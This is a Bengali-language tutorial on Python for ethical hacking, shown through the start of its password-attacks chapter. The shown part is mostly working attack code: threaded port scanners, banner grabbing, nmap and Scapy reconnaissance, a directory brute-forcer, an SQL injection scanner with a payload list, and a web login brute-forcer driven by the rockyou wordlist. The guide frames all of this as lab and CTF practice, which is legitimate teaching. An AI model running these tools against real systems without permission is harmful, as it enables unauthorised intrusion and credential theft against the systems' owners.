সাইবার সিকিউরিটির সম্পূর্ণ গাইড — বাংলায়

Python দিয়ে Ethical Hacking, Penetration Testing, Network Security, Cryptography, Forensics এবং আরও অনেক কিছু — একটি বইতেই সব কিছু, শূন্য থেকে বিশেষজ্ঞ পর্যন্ত।

📋 বিষয়সূচি

01 🐍 Python Basics — Security-এর জন্য Foundation

Variables, Data Types, Strings, Loops, Functions, File I/O, Error Handling, Modules

02 🔌 Socket Programming — নেটওয়ার্কের ভাষা

TCP/UDP Client-Server, Banner Grabbing, Port Scanner, Multi-threaded Scanner

03 🔍 Scanning & Reconnaissance — তথ্য সংগ্রহ

Nmap Automation, Scapy ARP Scan, Ping Sweep, OS Detection, Service Fingerprinting

04 🌐 Web Hacking — HTTP থেকে Exploitation

Requests, Web Scraping, Directory Brute Force, SQL Injection, XSS, LFI Scanner

05 🔑 Password Attacks — Cracking & Brute Force

Hashing, Hash Cracker, Wordlist Attack, SSH Brute Force, ZIP Cracker, FTP Brute

06 🔒 Cryptography — এনক্রিপশনের জগৎ

Base64, XOR, Caesar, Vigenere, AES, RSA, JWT Analysis, PyCryptodome

07 🌊 Packet Crafting — Scapy দিয়ে নেটওয়ার্ক আক্রমণ

ARP Spoofing, DNS Spoofing, Packet Sniffing, SYN Flood, MITM Setup

08 💣 Exploitation & Shells — অ্যাক্সেস নেওয়া

Reverse Shell, Bind Shell, Keylogger, Persistence, Payload Encoding

09 🕵 OSINT — Open Source Intelligence

Email Harvest, Shodan API, Whois, DNS Recon, GitHub Recon, Social Media

10 🧬 Forensics & Log Analysis

Log Parsing, PCAP Analysis, File Metadata, String Extraction, Memory Dump

11 ⚙️ Professional Tool Building — নিজের টুল বানাও

argparse, Threading, Logging, HTML Report, Full Port Scanner, Vuln Scanner Project

12 🚩 CTF Techniques — প্রতিযোগিতার কৌশল

Steganography, Encoding/Decoding, Binary Exploitation Basics, Automation Scripts

CHAPTER 01

🐍 Python Basics — Security-এর জন্য Foundation

শূন্য থেকে Python শেখো — Hacking-এর জন্য যা যা দরকার

Python হলো Hacker-দের সবচেয়ে পছন্দের ভাষা। কারণ এটা সহজ, শক্তিশালী, এবং Security-র জন্য অসংখ্য library আছে। Kali Linux-এ Python 3 built-in থাকে।

🔧 Python Install ও Setup

```
# Kali/Ubuntu তে Python check python3 --version # Output: Python 3.12.0 # pip install করো sudo apt install python3-pip -y # Virtual Environment (recommended) python3 -m venv hack_env source hack_env/bin/activate # Script চালানো python3 script.py # Interactive mode python3 >>> print("Hello, Hacker!") Hello, Hacker!
```

📦 Variables ও Data Types

Python-এ variable declare করতে কোনো keyword লাগে না। Type automatically detect হয়।

```
# ── Basic Types ──────────────────────────── target_ip = "192.168.1.1" # String (str) port = 8080 # Integer (int) timeout = 3.5 # Float is_open = True # Boolean nothing = None # NoneType # ── String Operations (খুব গুরুত্বপূর্ণ) ── banner = "SSH-2.0-OpenSSH_8.9p1 Ubuntu" print(banner.upper()) # SSH-2.0-OPENSSH_8.9P1 UBUNTU print(banner.lower()) # ssh-2.0-openssh_8.9p1 ubuntu print(banner.split("-")) # ['SSH', '2.0', 'OpenSSH_8.9p1 Ubuntu'] print(banner.replace("SSH","FTP")) # FTP-2.0-... print("OpenSSH" in banner) # True print(banner.strip()) # whitespace সরায় print(len(banner)) # 29 # f-string (সবচেয়ে বেশি ব্যবহার হয়) version = "8.9" print(f"Target SSH version: {version}") # ── Lists (Array) ──────────────────────── ports = [21, 22, 80, 443, 8080] ports.append(3306) # শেষে add ports.remove(21) # সরাও print(ports[0]) # 22 print(ports[-1]) # শেষেরটা: 3306 print(ports[1:3]) # [22, 80] — slicing open_ports = [p for p in ports if p < 1000] # list comprehension # ── Dictionaries ──────────────────────── host_info = { "ip": "192.168.1.1", "os": "Ubuntu 22.04", "open_ports": [22, 80, 443], "ssh_version": "OpenSSH 8.9" } print(host_info["ip"]) # 192.168.1.1 print(host_info.get("mac", "N/A")) # না থাকলে N/A host_info["mac"] = "AA:BB:CC:DD" # নতুন key add for key, val in host_info.items(): print(f" {key}: {val}") # ── Sets (unique values)
```

```
──────────────────── found_ips = {"192.168.1.1", "192.168.1.5", "192.168.1.1"}
print(found_ips) # {'192.168.1.1', '192.168.1.5'} — duplicate নেই
```

🔄 Control Flow — Loops ও Conditions

```
# ── If/Elif/Else ──────────────────────────── port = 22 if port == 22: print("[+] SSH
পাওয়া গেছে!") elif port == 80: print("[+] HTTP পাওয়া গেছে!") elif port in [443, 8443]:
print("[+] HTTPS পাওয়া গেছে!") else: print("[-] অজানা port") # ── For Loop
──────────────────────────────── targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"]
for ip in targets: print(f"[*] Scanning {ip} ...") # range() দিয়ে port scan loop for
port in range(1, 1025): # 1 থেকে 1024 print(f"Checking port {port}") # enumerate দিয়ে
index পাওয়া wordlist = ["admin", "root", "password"] for i, word in
enumerate(wordlist): print(f"[{i+1}] Trying: {word}") # ── While Loop
──────────────────────────────── attempts = 0 max_attempts = 5 while attempts <
max_attempts: print(f"Attempt {attempts + 1}") attempts += 1 if attempts == 3: break #
বের হয়ে যাও # ── List Comprehension (power tool!) ──────── ports = range(1, 1025)
common_ports = [p for p in ports if p in [21,22,23,80,443,3306,8080]]
print(common_ports) # [21, 22, 23, 80, 443, 3306, 8080]
```

🔧 Functions — Reusable Code

```
# ── Basic Function ──────────────────────────── def scan_port(ip, port, timeout=1):
"""Port open আছে কিনা check করে""" import socket try: sock = socket.socket()
sock.settimeout(timeout) result = sock.connect_ex((ip, port)) sock.close() return
result == 0 # True মানে open except: return False # ব্যবহার if scan_port("192.168.1.1",
22): print("[+] SSH port 22 খোলা!") # ── Multiple Return Values ──────────────────── def
get_host_info(ip): import socket try: hostname = socket.gethostbyaddr(ip)[0] return
ip, hostname, True except: return ip, "Unknown", False ip, name, found =
get_host_info("8.8.8.8") print(f"IP: {ip}, Hostname: {name}") # ── *args এবং **kwargs
──────────────────────── def scan_multiple(*targets, verbose=False, timeout=2): results =
{} for target in targets: results[target] = scan_port(target, 80, timeout) if verbose:
print(f" [{target}] Port 80: {results[target]}") return results
scan_multiple("10.0.0.1", "10.0.0.2", verbose=True) # ── Lambda (ছোট anonymous
function) ──────── is_valid_ip = lambda ip: len(ip.split(".")) == 4
print(is_valid_ip("192.168.1.1")) # True print(is_valid_ip("not.an.ip")) # False
```

📂 File I/O — Wordlist ও Log পড়া

```
# ── File পড়া (Wordlist) ──────────────── with open("rockyou.txt", "r", encoding="latin-1") as f: passwords = [line.strip() for line in f] print(f"[+] {len(passwords)} টি password লোড হয়েছে") # ── Line by line পড়া (বড় ফাইলের জন্য) ── with open("targets.txt") as f: for line in f: target = line.strip() if target and not target.startswith("#"): print(f"[*] Processing: {target}") # ── ফাইলে লেখা (Report save) ──────────── results = [("192.168.1.1", 22, "open"), ("192.168.1.1", 80, "open")] with open("scan_results.txt", "w") as f: f.write("═══ Scan Results ═══\n") for ip, port, status in results: f.write(f"{ip}:{port} - {status}\n") # ── JSON ফাইল (Structured data) ────────── import json data = {"target": "192.168.1.1", "ports": [22, 80], "os": "Linux"} with open("report.json", "w") as f: json.dump(data, f, indent=2) with open("report.json") as f: loaded = json.load(f) print(loaded["ports"]) # [22, 80] # ── Binary ফাইল পড়া (Malware analysis) ── with open("suspicious.exe", "rb") as f: header = f.read(4) if header == b"MZ\x90\x00": print("[!] Windows PE Executable পাওয়া গেছে!") elif header[:4] == b"\x7fELF": print("[!] Linux ELF Binary পাওয়া গেছে!")
```

⚠️ Error Handling — Robust Code লেখা

```
import socket, sys # ── Try/Except/Finally ──────────────────── def connect_to_target(ip, port): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect((ip, port)) banner = sock.recv(1024).decode("utf-8", errors="ignore") return banner.strip() except socket.timeout: print(f"[-] {ip}:{port} - Timeout") except ConnectionRefusedError: print(f"[-] {ip}:{port} - Refused (closed)") except socket.gaierror: print(f"[-] DNS Resolution failed") except KeyboardInterrupt: print("\n[!] User দ্বারা বন্ধ করা হয়েছে") sys.exit(0) except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # সবসময় close হবে return None # ── Custom Exception ────────────────────── class InvalidTargetError(Exception): pass def validate_ip(ip): parts = ip.split(".") if len(parts) != 4: raise InvalidTargetError(f"Invalid IP: {ip}") for part in parts: if not 0 <= int(part) <= 255: raise InvalidTargetError(f"Octet out of range: {part}") return True
```

📦 Important Modules — Security-এ যা লাগে

Module	কাজ	Install	ব্যবহার
`socket`	TCP/UDP connection	Built-in	Port scan, banner grab
`subprocess`	System command চালানো	Built-in	nmap, whois চালানো
`os / sys`	OS interaction	Built-in	File, path, argument
`re`	Regular Expression	Built-in	Pattern matching, parsing
`hashlib`	Hashing (MD5, SHA)	Built-in	Password hashing/cracking
`threading`	Multi-thread	Built-in	Fast concurrent scanning
`requests`	HTTP requests	pip install	Web scraping, API
`scapy`	Packet crafting	pip install	ARP spoof, sniffing
`paramiko`	SSH client	pip install	SSH brute force
`pycryptodome`	Cryptography	pip install	AES, RSA encryption
`beautifulsoup4`	HTML parsing	pip install	Web scraping, OSINT
`python-nmap`	Nmap wrapper	pip install	Nmap automation

```
# সব security library একসাথে install pip install requests beautifulsoup4 scapy paramiko \ pycryptodome python-nmap dnspython \ ftplib colorama tqdm
```

🎨 Subprocess — System Command চালানো

```
import subprocess # ── Simple command ──────────────────────── result = subprocess.run(["nmap", "-sV", "192.168.1.1"], capture_output=True, text=True) print(result.stdout) print(result.stderr) # ── Output parse করা ──────────────────────── result = subprocess.run(["ping", "-c", "1", "8.8.8.8"], capture_output=True, text=True) if result.returncode == 0: print("[+] Host is alive!") else: print("[-] Host is down") # ── Shell command (সতর্কতার সাথে!) ──────── output =
```

```
subprocess.check_output("whoami", shell=True).decode() print(f"Running as: {output.strip()}")
```

⚠️ **সতর্কতা**

`shell=True` দিয়ে কখনো user input directly pass করবে না — এটা Command Injection-এর দরজা খুলে দেয়।

✅ Chapter 1 Summary

- 🐍 Python 3 হলো hacking-এর primary ভাষা — সহজ syntax, শক্তিশালী libraries
- 📦 str, list, dict, set — এই 4টি data structure সবচেয়ে বেশি কাজে আসে
- 🔧 Functions দিয়ে reusable modules বানাও — প্রতিটি tool building-এর ভিত্তি
- 📂 File I/O দিয়ে wordlist পড়া ও report save করা — security work-এ অপরিহার্য
- ⚠️ সবসময় try/except দিয়ে network code লেখো — connection fail হওয়া স্বাভাবিক

CHAPTER 02

🔌 Socket Programming — নেটওয়ার্কের ভাষা

TCP/UDP socket দিয়ে network tool বানানোর সম্পূর্ণ গাইড

Socket হলো network communication-এর মূল ভিত্তি। প্রতিটি network tool — port scanner, banner grabber, reverse shell — socket দিয়ে তৈরি। Python-এর `socket` module দিয়ে TCP ও UDP উভয় protocol ব্যবহার করা যায়।

🧠 Socket Basics — কীভাবে কাজ করে?

```
import socket # ── Socket তৈরি ──────────────────────────── # AF_INET = IPv4, AF_INET6
= IPv6 # SOCK_STREAM = TCP, SOCK_DGRAM = UDP sock = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) # ── Timeout set করো (important!) ──────────── sock.settimeout(3) #
── Connect করো ──────────────────────────── sock.connect(("192.168.1.1", 80)) # ──
Data পাঠাও ──────────────────────────── sock.send(b"GET / HTTP/1.1\r\nHost:
192.168.1.1\r\n\r\n") # ── Data নাও ──────────────────────────── response =
sock.recv(4096) print(response.decode("utf-8", errors="ignore")) # ── বন্ধ করো
──────────────────────────── sock.close() # ── connect_ex — Connection result code
── sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock2.settimeout(1)
result = sock2.connect_ex(("192.168.1.1", 22)) # result == 0 মানে সফল (port open) #
result != 0 মানে ব্যর্থ (port closed/filtered) sock2.close() # ── Useful socket functions
──────────────── print(socket.gethostname()) # আমার hostname
print(socket.gethostbyname("google.com")) # DNS lookup print(socket.getservbyport(22))
# 'ssh' print(socket.getservbyname("http")) # 80
```

🔍 Banner Grabbing — Service চেনা

Service-এর সাথে connect করলে সে নিজের version বলে দেয় — এটাই banner। এই দিয়ে vulnerable version বের করা যায়।

```
import socket def grab_banner(ip, port): """Service banner grab করে version বের করে"""
try: sock = socket.socket() sock.settimeout(3) sock.connect((ip, port)) # HTTP-র জন্য
request পাঠাতে হয় if port in [80, 8080, 8000]: sock.send(b"HEAD / HTTP/1.0\r\n\r\n")
elif port == 21: pass # FTP নিজে থেকে banner পাঠায় elif port == 25: pass # SMTP নিজে
থেকে banner পাঠায় banner = sock.recv(1024).decode("utf-8", errors="ignore").strip()
sock.close() return banner except: return None # ── সব common port-এ banner grab
```

```
────────── target = "192.168.1.1" common_ports = { 21: "FTP", 22: "SSH", 23: "Telnet", 25: "SMTP", 80: "HTTP", 110: "POP3", 143: "IMAP", 443: "HTTPS", 3306: "MySQL", 5432: "PostgreSQL", 6379: "Redis" } print(f"\n[*] Banner Grabbing: {target}") print("=" * 50) for port, service in common_ports.items(): banner = grab_banner(target, port) if banner: # শুধু প্রথম line নাও first_line = banner.split("\n")[0] print(f"[+] {port}/{service}: {first_line[:80]}") # Sample Output: [+] 22/SSH: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.4 [+] 80/HTTP: HTTP/1.1 200 OK [+] 21/FTP: 220 (vsFTPd 3.0.5)
```

⚡ Port Scanner — Threaded Version

```
import socket, threading from queue import Queue import sys, time # ── Thread-safe result storage ────────── open_ports = [] lock = threading.Lock() port_queue = Queue() def scan_port(ip, timeout): """Queue থেকে port নিয়ে scan করে""" while not port_queue.empty(): port = port_queue.get() try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((ip, port)) sock.close() if result == 0: with lock: open_ports.append(port) # Service নাম বের করা try: service = socket.getservbyport(port) except: service = "unknown" print(f"[+] {ip}:{port}/tcp OPEN ({service})") except: pass finally: port_queue.task_done() def threaded_port_scan(ip, start_port=1, end_port=1024, threads=100, timeout=1): """Multi-threaded port scanner""" print(f"\n[*] Scanning {ip} (ports {start_port}-{end_port})") print(f"[*] Threads: {threads} | Timeout: {timeout}s") print("-" * 50) start = time.time() # সব port queue-তে দাও for port in range(start_port, end_port + 1): port_queue.put(port) # Threads তৈরি করো thread_list = [] for _ in range(threads): t = threading.Thread(target=scan_port, args=(ip, timeout)) t.daemon = True thread_list.append(t) t.start() # সব শেষ হওয়ার জন্য অপেক্ষা port_queue.join() elapsed = time.time() - start print(f"\n[*] Scan complete in {elapsed:.2f}s") print(f"[*] Open ports: {sorted(open_ports)}") # ── Main ──────────────────────────────────── if __name__ == "__main__": target = input("Target IP: ") threaded_port_scan(target, 1, 1024, threads=200) # Sample Output: [*] Scanning 192.168.1.1 (ports 1-1024) [+] 192.168.1.1:22/tcp OPEN (ssh) [+] 192.168.1.1:80/tcp OPEN (http) [+] 192.168.1.1:443/tcp OPEN (https) [*] Scan complete in 4.32s
```

🖥 TCP Server — নিজের Server বানানো

```
import socket, threading def handle_client(client_sock, addr): """প্রতিটি client-কে আলাদা thread-এ handle করে""" print(f"[+] Connection from: {addr[0]}:{addr[1]}") try: while
```

```
True: data = client_sock.recv(1024) if not data: break message = data.decode().strip()
print(f"[{addr[0]}] Received: {message}") # Echo back client_sock.send(f"Server
received: {message}\n".encode()) except Exception as e: print(f"[-] Client error:
{e}") finally: client_sock.close() print(f"[-] {addr[0]} disconnected") def
start_server(host="0.0.0.0", port=4444): server = socket.socket(socket.AF_INET,
socket.SOCK_STREAM) # Address reuse — bind error এড়াতে
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind((host, port))
server.listen(5) # 5 connection queue print(f"[*] Listening on {host}:{port}") try:
while True: client, addr = server.accept() t = threading.Thread(target=handle_client,
args=(client, addr)) t.daemon = True t.start() except KeyboardInterrupt: print("\n[!]
Server বন্ধ করা হচ্ছে...") finally: server.close() start_server()
```

✅ Chapter 2 Summary

- 🔌 TCP socket দিয়ে connect → send → recv → close — এই flow সব network tool-এ একই
- ⚡ Threading দিয়ে port scanner 100x দ্রুত হয় — Queue দিয়ে thread-safe করো
- 🔍 Banner grabbing দিয়ে vulnerable service version বের করা যায় — CVE search-এর পথ
- 🖥️ TCP server বানাতে bind → listen → accept → handle pattern follow করো

CHAPTER 03

🔍 Scanning & Reconnaissance — তথ্য সংগ্রহ

Nmap automation, Scapy, ARP scan, Ping sweep, OS ও Service detection

Reconnaissance হলো hacking-এর প্রথম ধাপ। Target সম্পর্কে যত বেশি তথ্য জানা যায়, attack তত সহজ হয়। Python দিয়ে এই কাজ automate করা যায়।

🗺️ Nmap Automation — python-nmap

```
# Install: pip install python-nmap import nmap # ── Basic scan ──────────────────────────── nm = nmap.PortScanner() # SYN scan (root দরকার) nm.scan("192.168.1.1", "1-1024", arguments="-sS -sV -O") # ── Result parse করা ──────────────────────── for host in nm.all_hosts(): print(f"\n[Host] {host} ({nm[host].hostname()})") print(f"State: {nm[host].state()}") # OS Detection if 'osmatch' in nm[host]: for osm in nm[host]['osmatch'][:2]: print(f"OS: {osm['name']} ({osm['accuracy']}%)") # Open Ports ও Services for proto in nm[host].all_protocols(): ports = nm[host][proto].keys() for port in sorted(ports): info = nm[host][proto][port] if info['state'] == 'open': print(f" {port}/{proto} {info['state']:8} " f" {info['name']:12} {info['version']}") # ── Network range scan ──────────────────── nm.scan(hosts="192.168.1.0/24", arguments="-sn") # ping scan alive_hosts = [h for h in nm.all_hosts() if nm[h].state() == "up"] print(f"[+] Alive hosts: {alive_hosts}") # ── Vulnerability script scan ──────────── nm.scan("192.168.1.1", "22,80,443", arguments="--script vuln") # CVE check করা for host in nm.all_hosts(): for proto in nm[host].all_protocols(): for port in nm[host][proto]: script_output = nm[host][proto][port].get('script', {}) for script, output in script_output.items(): if "VULNERABLE" in output: print(f"[!!!] {port} - {script}: VULNERABLE!")
```

📡 Scapy দিয়ে ARP Scan — LAN-এর সব host খোঁজা

```
# Install: pip install scapy # Root দরকার: sudo python3 arp_scan.py from scapy.all import ARP, Ether, srp, conf def arp_scan(network="192.168.1.0/24"): """LAN-এর সব live host খুঁজে বের করে""" conf.verb = 0 # scapy output বন্ধ # ARP packet তৈরি arp = ARP(pdst=network) ether = Ether(dst="ff:ff:ff:ff:ff:ff") # Broadcast packet = ether / arp # পাঠাও এবং উত্তর নাও answered, _ = srp(packet, timeout=3, verbose=0) hosts = [] for
```

```
sent, received in answered: hosts.append({ "ip": received.psrc, "mac": received.hwsrc
}) return hosts # ── Run করো ──────────────────────────────── print("IP Address\t\tMAC
Address") print("-" * 45) for host in arp_scan(): print(f"
{host['ip']:20s}\t{host['mac']}") # Sample Output: IP Address MAC Address ──────────
──────────────────────────────── 192.168.1.1 aa:bb:cc:dd:ee:01 192.168.1.5
aa:bb:cc:dd:ee:05 192.168.1.10 aa:bb:cc:dd:ee:0a
```

🏓 Ping Sweep — কোন host জীবিত?

```
import subprocess, threading, ipaddress from tqdm import tqdm # pip install tqdm
alive_hosts = [] lock = threading.Lock() def ping_host(ip): try: # Linux: -c 1 (1
packet), -W 1 (1s timeout) result = subprocess.run( ["ping", "-c", "1", "-W", "1",
str(ip)], capture_output=True, text=True ) if result.returncode == 0: with lock:
alive_hosts.append(str(ip)) except: pass def ping_sweep(network): """পুরো subnet ping
করে alive host বের করে""" net = ipaddress.ip_network(network, strict=False) hosts =
list(net.hosts()) print(f"[*] Pinging {len(hosts)} hosts in {network} ... ") threads =
[] for ip in tqdm(hosts): t = threading.Thread(target=ping_host, args=(ip,))
threads.append(t) t.start() if len(threads) ≥ 50: # 50 concurrent threads for t in
threads: t.join() threads = [] for t in threads: t.join() print(f"\n[+]
{len(alive_hosts)} hosts alive:") for ip in sorted(alive_hosts): print(f" ✓ {ip}")
ping_sweep("192.168.1.0/24")
```

🧬 OS Fingerprinting — TTL দিয়ে OS চেনা

```
from scapy.all import IP, ICMP, sr1 def guess_os_by_ttl(ip): """TTL value দিয়ে OS অনুমান
করে""" packet = IP(dst=ip) / ICMP() response = sr1(packet, timeout=2, verbose=0) if
response: ttl = response.ttl # TTL দিয়ে OS অনুমান if ttl ≤ 64: os_guess =
"Linux/Unix/Android" elif ttl ≤ 128: os_guess = "Windows" elif ttl ≤ 255: os_guess =
"Cisco/Solaris/FreeBSD" else: os_guess = "Unknown" print(f"[+] {ip} → TTL={ttl} →
Likely: {os_guess}") return os_guess else: print(f"[-] {ip} — No response") return
None guess_os_by_ttl("192.168.1.1") # ── TTL Reference Table ──────────────────
ttl_map = { 255: "Cisco Router / Solaris / FreeBSD", 128: "Windows (XP/7/10/Server)",
64: "Linux / macOS / Android", 32: "Old Windows (95/98)", }
```

📊 DNS Reconnaissance — Domain তথ্য বের করা

```
# pip install dnspython import dns.resolver, dns.reversename def dns_recon(domain): """Domain-এর সব DNS record বের করে""" record_types = ["A", "AAAA", "MX", "NS", "TXT", "CNAME", "SOA"] print(f"\n[*] DNS Recon: {domain}") print("=" * 50) for rtype in record_types: try: answers = dns.resolver.resolve(domain, rtype) for ans in answers: print(f" [{rtype:6}] {ans}") except: pass # ── Subdomain Bruteforce ──────────────────── def subdomain_brute(domain, wordlist_file): """Wordlist দিয়ে subdomain খোঁজে""" found = [] with open(wordlist_file) as f: subdomains = [line.strip() for line in f] print(f"[*] Brute forcing {len(subdomains)} subdomains ...") for sub in subdomains: target = f"{sub}.{domain}" try: ip = dns.resolver.resolve(target, "A")[0] print(f"[+] {target} → {ip}") found.append((target, str(ip))) except: pass return found dns_recon("example.com")
```

💡 **Passive Recon টিপস**

Target-এ packet না পাঠিয়েও তথ্য পাওয়া যায়: Shodan, Censys, VirusTotal, WHOIS, Certificate Transparency logs — এগুলো "passive" reconnaissance।

✅ Chapter 3 Summary

- 🗺️ python-nmap দিয়ে Nmap-এর পূর্ণ শক্তি Python-এ আনা যায় — output automatically parse হয়
- 📡 Scapy ARP scan LAN-এ সবচেয়ে নির্ভরযোগ্য host discovery — firewall bypass করে
- 🎈 Ping sweep + threading = দ্রুত subnet scan — 254 hosts 10 সেকেন্ডে
- 🧬 TTL দিয়ে OS অনুমান করা যায় — Linux=64, Windows=128, Cisco=255

CHAPTER 04

🌐 Web Hacking — HTTP থেকে Exploitation

Web vulnerability scan, SQLi, XSS, Directory brute force, Login brute force

🌍 requests Library — HTTP-র সব কিছু

```
# pip install requests import requests requests.packages.urllib3.disable_warnings() # SSL warning বন্ধ # ── Basic GET request ──────────────────────── r = requests.get("http://example.com", timeout=5) print(r.status_code) # 200 print(r.headers) # Response headers print(r.text[:500]) # HTML content # ── Custom Headers (bot detection এড়াতে) ── headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml", "Accept-Language": "en-US,en;q=0.9", "Referer": "https://google.com" } r = requests.get("http://target.com", headers=headers) # ── POST request (Login form) ──────────────── login_data = {"username": "admin", "password": "password123"} r = requests.post("http://target.com/login", data=login_data, headers=headers) print(r.url) # redirect হলে বোঝা যাবে সফল কিনা # ── Session maintain করা (Cookie) ──────────── session = requests.Session() session.headers.update(headers) # Login session.post("http://target.com/login", data=login_data) # Authenticated request r = session.get("http://target.com/dashboard") # ── HTTPS + Proxy (Burp Suite) ──────────────── proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} r = requests.get("https://target.com", proxies=proxies, verify=False) # ── Response Analysis ──────────────────────── print(f"Status: {r.status_code}") print(f"Server: {r.headers.get('Server', 'Hidden')}") print(f"X-Powered-By: {r.headers.get('X-Powered-By', 'N/A')}") print(f"Content-Type: {r.headers.get('Content-Type')}") print(f"Cookies: {dict(r.cookies)}")
```

📂 Directory Brute Force — লুকানো ফাইল খোঁজা

```
import requests, threading from queue import Queue import sys class DirBuster: def __init__(self, base_url, wordlist, threads=20): self.base_url = base_url.rstrip("/") self.wordlist = wordlist self.threads = threads self.queue = Queue() self.found = [] self.session = requests.Session() self.session.headers["User-Agent"] = "Mozilla/5.0"
```

```
def _check_path(self): while not self.queue.empty(): path = self.queue.get() url = f"{self.base_url}/{path}" try: r = self.session.get(url, timeout=5, allow_redirects=False) code = r.status_code # Interesting status codes if code == 200: size = len(r.content) print(f"[200 OK] {url} ({size} bytes)") self.found.append((url, code, size)) elif code == 301 or code == 302: loc = r.headers.get("Location", "") print(f"[{code} Redirect] {url} → {loc}") elif code == 403: print(f"[403 Forbidden] {url} ← interesting!") self.found.append((url, code, 0)) elif code == 401: print(f"[401 Auth] {url} ← requires login!") except: pass finally: self.queue.task_done() def run(self): # Wordlist load + extension add extensions = ["", ".php", ".html", ".txt", ".bak", ".sql", ".zip", ".old", ".conf"] with open(self.wordlist) as f: words = [w.strip() for w in f if w.strip()] for word in words: for ext in extensions: self.queue.put(word + ext) print(f"[*] Scanning {self.base_url}") print(f"[*] {self.queue.qsize()} paths to check ...") threads = [threading.Thread(target=self._check_path) for _ in range(self.threads)] for t in threads: t.start() self.queue.join() print(f"\n[*] Found {len(self.found)} interesting paths") DirBuster("http://target.com", "common.txt", threads=30).run()
```

💉 SQL Injection Scanner

⚠️ শুধুমাত্র নিজের সিস্টেম বা CTF-এ ব্যবহার করো!

অন্যের সিস্টেমে attack করা বেআইনি। এই code শুধু শিক্ষামূলক উদ্দেশ্যে।

```
import requests # ── SQL Injection Payloads ──────────────── sqli_payloads = [ "'", # Basic error trigger "1' OR '1'='1", # Boolean-based "1' OR '1'='1' --", # Comment bypass "' OR 1=1 --", "1' AND SLEEP(5) --", # Time-based blind "1' UNION SELECT NULL --", # Union-based "1' UNION SELECT NULL,NULL --", "1' UNION SELECT NULL,NULL,NULL --", "\" OR \"\"=\"", "admin'--", "' OR 'x'='x", ] # ── Error messages যা SQLi indicate করে ── error_indicators = [ "sql syntax", "mysql_fetch", "ora-00933", "syntax error", "quoted string", "unclosed quotation", "pg_query", "sqlite", "warning: mysql", "microsoft ole db", "odbc sql" ] def sqli_scan(url, param): """GET parameter-এ SQL Injection test করে""" print(f"[*] Testing SQLi on: {url}?{param}=...") session = requests.Session() session.headers["User-Agent"] = "Mozilla/5.0" for payload in sqli_payloads: try: params = {param: payload} r = session.get(url, params=params, timeout=10) body = r.text.lower() # Error-based detection for error in error_indicators: if error in body: print(f"[!!!] VULNERABLE! Payload: {payload}") print(f" Error found: '{error}'") return True # Time-based detection (SLEEP) import time if "SLEEP" in payload: start = time.time() session.get(url, params={param: payload}, timeout=10) elapsed = time.time() - start if elapsed ≥ 4.5: print(f"[!!!]
```

```
TIME-BASED SQLi! Response took {elapsed:.1f}s") return True except Exception as e: print(f"[-] Error: {e}") print("[-] No SQLi found") return False # Test (শুধু নিজের lab-এ) sqli_scan("http://localhost/dvwa/vulnerabilities/sqli/", "id")
```

🔑 Login Brute Force — Web Form

```
import requests, time from tqdm import tqdm def web_login_brute(url, username, wordlist, user_field="username", pass_field="password", fail_text="Invalid"): """ Web login form brute force করে fail_text: login ব্যর্থ হলে page-এ যা থাকে """ session = requests.Session() session.headers["User-Agent"] = "Mozilla/5.0" with open(wordlist, encoding="latin-1") as f: passwords = [p.strip() for p in f if p.strip()] print(f"[*] Targeting: {url}") print(f"[*] Username: {username}") print(f"[*] Trying {len(passwords)} passwords...") for password in tqdm(passwords): try: data = {user_field: username, pass_field: password} r = session.post(url, data=data, timeout=5, allow_redirects=True) # Login সফল হওয়ার indicators if (fail_text not in r.text and r.status_code == 200 and "logout" in r.text.lower()): print(f"\n[+] PASSWORD FOUND: {password}") print(f"[+] Username: {username} | Password: {password}") return password time.sleep(0.1) # Rate limit এড়াতে except KeyboardInterrupt: print("\n[!] Stopped by user") break except Exception as e: pass print("[-] Password not found in wordlist") return None # DVWA-তে test web_login_brute( url="http://localhost/dvwa/login.php", username="admin", wordlist="rockyou.txt", fail_text="Login failed" )
```

🕷 Web Scraping — তথ্য বের করা

```
# pip install requests beautifulsoup4 from bs4 import BeautifulSoup import requests, re def web_recon(url): """Website থেকে security-relevant তথ্য বের করে""" r = requests.get(url, timeout=10) soup = BeautifulSoup(r.text, "html.parser") # ── Forms খোঁজা (Login, Search) ──────── print("\n[*] Forms:") for form in soup.find_all("form"): action = form.get("action", "N/A") method = form.get("method", "GET").upper() inputs = [i.get("name") for i in form.find_all("input") if i.get("name")] print(f" {method} → {action} | Fields: {inputs}") # ── Links সংগ্রহ ──────────────────────── links = set() for a in soup.find_all("a", href=True): href = a["href"] if href.startswith("http"): links.add(href) print(f"\n[*] {len(links)} external links found") # ── Emails খোঁজা ──────────────────────── emails = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9•-]+\.[a-zA-Z]{2,}', r.text) if emails: print(f"\n[+] Emails: {set(emails)}") # ── Comments এ hidden info ──────────── comments = soup.find_all(string=lambda t: isinstance(t,
```

```
type(soup.find('!')))) for comment in comments: if any(kw in str(comment).lower() for kw in ["password", "todo", "fixme", "debug", "admin"]): print(f"\n[!] Interesting comment: {comment[:100]}") # ── Technology detection ──────────────── meta_gen = soup.find("meta", attrs={"name": "generator"}) if meta_gen: print(f"\n[+] CMS: {meta_gen.get('content')}") web_recon("http://testphp.vulnweb.com")
```

✅ Chapter 4 Summary

- 🌍 requests + Session দিয়ে cookie maintain করে authenticated pages access করা যায়
- 📂 Directory brute force দিয়ে লুকানো admin panel, backup file, config খোঁজা যায়
- 🚀 SQLi detection: error message + time-based দুইভাবেই test করতে হয়
- 🕷 BeautifulSoup দিয়ে form, link, email, comment — সব recon তথ্য বের করা যায়

CHAPTER 05

🔑 Password Attacks — Cracking & Brute Force

Hash crack করা, SSH/FTP brute force, ZIP password crack — সব কিছু Python দিয়ে

🧬 Hashing — hashlib দিয়ে

```
import hashlib # ── Common Hash Types ──────────────────────── text = "password123" md5
